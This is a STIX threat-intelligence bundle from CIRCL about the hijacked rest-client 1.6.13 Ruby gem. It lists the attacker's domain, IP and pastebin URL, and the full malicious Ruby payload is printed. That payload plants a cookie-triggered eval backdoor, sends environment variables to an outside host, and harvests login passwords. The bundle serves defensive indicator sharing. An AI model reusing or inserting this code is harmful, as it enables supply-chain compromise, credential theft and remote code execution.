{ "type": "bundle", "id": "bundle--5d5bfb96-ff34-4470-9107-cfdc950d210f", "objects": [ { "type": "identity", "spec_version": "2.1", "id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T14:03:04.000Z", "modified": "2019-08-20T14:03:04.000Z", "name": "CIRCL", "identity_class": "organization" }, { "type": "report", "spec_version": "2.1", "id": "report--5d5bfb96-ff34-4470-9107-cfdc950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T14:03:04.000Z", "modified": "2019-08-20T14:03:04.000Z", "name": "OSINT - Ruby/Gem Warning! is rest-client 1.6.13 hijacked? #713", "published": "2019-08-20T14:03:32Z", "object_refs": [ "observed-data--5d5bfba3-5724-4fae-9ef5-42b5950d210f", "url--5d5bfba3-5724-4fae-9ef5-42b5950d210f", "indicator--5d5bfbef-a630-45b0-999b-4fd0950d210f", "observed-data--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f", "x-misp-attribute--5d5bfce8-409c-446e-a281-0598950d210f", "malware--5d5bfc59-5e18-4163-ba15-4987950d210f", "relationship--ba63fcbd-04b6-4b63-9196-c7b5fb262f5d" ], "labels": [ "Threat-Report", "misp:tool=\"MISP-STIX-Converter\"", "type:OSINT", "osint:lifetime=\"perpetual\"", "osint:certainty=\"50\"", "misp-galaxy:mitre-attack-pattern=\"External Remote Services - T1133\"", "misp-galaxy:mitre-attack-pattern=\"Exfiltration Over Command and Control Channel - T1041\"", "misp-galaxy:mitre-attack-pattern=\"Supply Chain Compromise - T1195\"", "misp-galaxy:mitre-attack-pattern=\"Data Encrypted - T1022\"", "misp-galaxy:mitre-attack-pattern=\"Automated Exfiltration - T1020\"", "misp-galaxy:mitre-attack-pattern=\"Application Shimming - T1138\"" ], "object_marking_refs": [ "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9" ] }, { "type": "observed-data", "spec_version": "2.1", "id": "observed-data--5d5bfba3-5724-4fae-9ef5-42b5950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T13:54:43.000Z", "modified": "2019-08-20T13:54:43.000Z", "first_observed": "2019-08-20T13:54:43Z", "last_observed": "2019-08-20T13:54:43Z", "number_observed": 1, "object_refs": [ "url--5d5bfba3-5724-4fae-9ef5-42b5950d210f" ], "labels": [ "misp:type=\"link\"", "misp:category=\"External analysis\"" ] }, { "type": "url", "spec_version": "2.1", "id": "url--5d5bfba3-5724-4fae-9ef5-42b5950d210f", "value": "https://github.com/rest-client/rest-client/issues/713" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5d5bfbef-a630-45b0-999b-4fd0950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T13:55:59.000Z", "modified": "2019-08-20T13:55:59.000Z", "pattern": "[domain-name:value = 'mironanoru.zzz.com.ua']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-08-20T13:55:59Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"hostname\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"" ] }, { "type": "observed-data", "spec_version": "2.1", "id": "observed-data--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T13:56:21.000Z", "modified": "2019-08-20T13:56:21.000Z", "first_observed": "2019-08-20T13:56:21Z", "last_observed": "2019-08-20T13:56:21Z", "number_observed": 1, "object_refs": [ "network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9" ], "labels": [ "misp:type=\"ip-src\"", "misp:category=\"Network activity\"" ] }, { "type": "network-traffic", "spec_version": "2.1", "id": "network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "src_ref": "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "protocols": [ "tcp" ] }, { "type": "ipv4-addr", "spec_version": "2.1", "id": "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9", "value": "37.48.72.4" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T13:58:10.000Z", "modified": "2019-08-20T13:58:10.000Z", "pattern": "[url:value = 'https://pastebin.com/raw/5iNdELNX']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2019-08-20T13:58:10Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"url\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"" ] }, { "type": "x-misp-attribute", "spec_version": "2.1", "id": "x-misp-attribute--5d5bfce8-409c-446e-a281-0598950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T14:00:08.000Z", "modified": "2019-08-20T14:00:08.000Z", "labels": [ "misp:type=\"comment\"", "misp:category=\"External analysis\"" ], "x_misp_category": "External analysis", "x_misp_comment": "In case people need to write a detailed security report at their company. This might help you. Security threat consisted out of the following:", "x_misp_type": "comment", "x_misp_value": "It sent the URL of the infected host to the attacker.\r\n It sent the environment variables of the infected host to the attacker. Depending on your set-up this can include credentials of services that you use e.g. database, payment service provider.\r\n It allowed to eval Ruby code on the infected host. Attacker needed to send a signed (using the attacker\u00e2\u20ac\u2122s own key) cookie with the Ruby code to run.\r\n It overloaded the #authenticate method on the Identity class. Every time the method gets called it will send the email/password to the attacker. However I'm unsure which libraries use the Identity class though, maybe someone else knows?" }, { "type": "malware", "spec_version": "2.1", "id": "malware--5d5bfc59-5e18-4163-ba15-4987950d210f", "created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f", "created": "2019-08-20T13:58:49.000Z", "modified": "2019-08-20T13:58:49.000Z", "is_family": false, "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "misc" } ], "implementation_languages": [ "Ruby" ], "labels": [ "misp:name=\"script\"", "misp:meta-category=\"misc\"", "misp:to_ids=\"False\"" ], "x_misp_script": "_! {\r\n unless ENV[\"URL_HOST\"].to_s.include?(\"localhost\")\r\n unless defined?(ZZZ)\r\n require \"openssl\"\r\n require \"base64\"\r\n public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64(\"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2U3lDWUJiUUNsbTN4a21HMitRNwpSRjd5R1RXNzZoMVlrNE1qSHlNemhhdGUxQitDL1JQWjExbmU1WjBaMjhDK0VNWFVPWHRLTFlJMlF6Yk5VbmRLCmtVSUh3dWtZZ0hLWTRCL1U5OGI5UGJNZExOZjFtZ25UYnppVWhIYUFXQTB3R3RWL0ppQkNqc2taQkh4OTVlZGMKbmg0cCthcTM5ZlowemtFdUhYUUs0TU9URkJlaGJIelhCbmhPajhvU0NURHBjbjJEa1liR3lBcmpGb0JFTzQ4ZAphTklNSlAzQURpU1lYM2hmVmFoYTJCS0xzcnczWGFoMzFmOGh0U1dQNklBMTlqRy9wbVlqK2FBN0ZubWYwVHJDCjNnbGxRNFRrSWp6RVdHVUd5WklVcE9zZkVWeitWTDN0VDF1TDczdzVWa2NPU1MwajZ3cVQ5ckkrY2hHWXJJZEgKRFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==\"))\r\n Rack::Sendfile.prepend Module.new {\r\n define_method(:call) { |e|\r\n _! {\r\n signature, payload, = e[\"HTTP_COOKIE\"].match(/__session=(.+);/)[1].split(\",\")\r\n signature = Base64.urlsafe_decode64(signature)\r\n payload = Base64.urlsafe_decode64(payload)\r\n if public_key.verify(OpenSSL::Digest.new(\"sha256\"), signature, payload)\r\n payload = JSON.parse(payload)\r\n if (Time.now.to_i - payload[\"timestamp\"]) <= 60\r\n eval(payload[\"ruby\"])\r\n end\r\n end\r\n }\r\n super(e)\r\n }\r\n }\r\n ZZZ = 0\r\n end\r\n end\r\n}\r\n\r\n_! {\r\n unless ENV[\"URL_HOST\"].to_s.include?(\"localhost\")\r\n unless defined?(QQQ)\r\n Faraday.post(\"http://mironanoru.zzz.com.ua/\", { \"x\" => ENV[\"URL_HOST\"].to_s, \"y\" => ENV.to_hash.to_yaml })\r\n QQQ = 0\r\n end\r\n end\r\n}\r\n\r\n_! {\r\n if ENV[\"URL_HOST\"].to_s[0] == \"e\" && ENV[\"URL_HOST\"].to_s[6] == \"x\" && ENV[\"URL_HOST\"].to_s.length == 13\r\n unless defined?(GGG)\r\n $kgiBWB3l = []\r\n Module.new {\r\n def authenticate(password)\r\n $kgiBWB3l << \"#{email}:#{password}\" rescue nil\r\n super\r\n end\r\n }.tap { |m| Identity.prepend(m) }\r\n GGG = 0\r\n end\r\n loop {\r\n break if $kgiBWB3l.empty?\r\n y = $kgiBWB3l.pop\r\n Faraday.post(\"http://mironanoru.zzz.com.ua/\", { \"x\" => ENV[\"URL_HOST\"].to_s, \"y\" => y })\r\n }\r\n end\r\n}", "x_misp_state": "Malicious" }, { "type": "relationship", "spec_version": "2.1", "id": "relationship--ba63fcbd-04b6-4b63-9196-c7b5fb262f5d", "created": "2019-08-20T13:58:49.000Z", "modified": "2019-08-20T13:58:49.000Z", "relationship_type": "delivered-by", "source_ref": "malware--5d5bfc59-5e18-4163-ba15-4987950d210f", "target_ref": "indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f" }, { "type": "marking-definition", "spec_version": "2.1", "id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9", "created": "2017-01-20T00:00:00.000Z", "definition_type": "tlp", "name": "TLP:WHITE", "definition": { "tlp": "white" } } ] }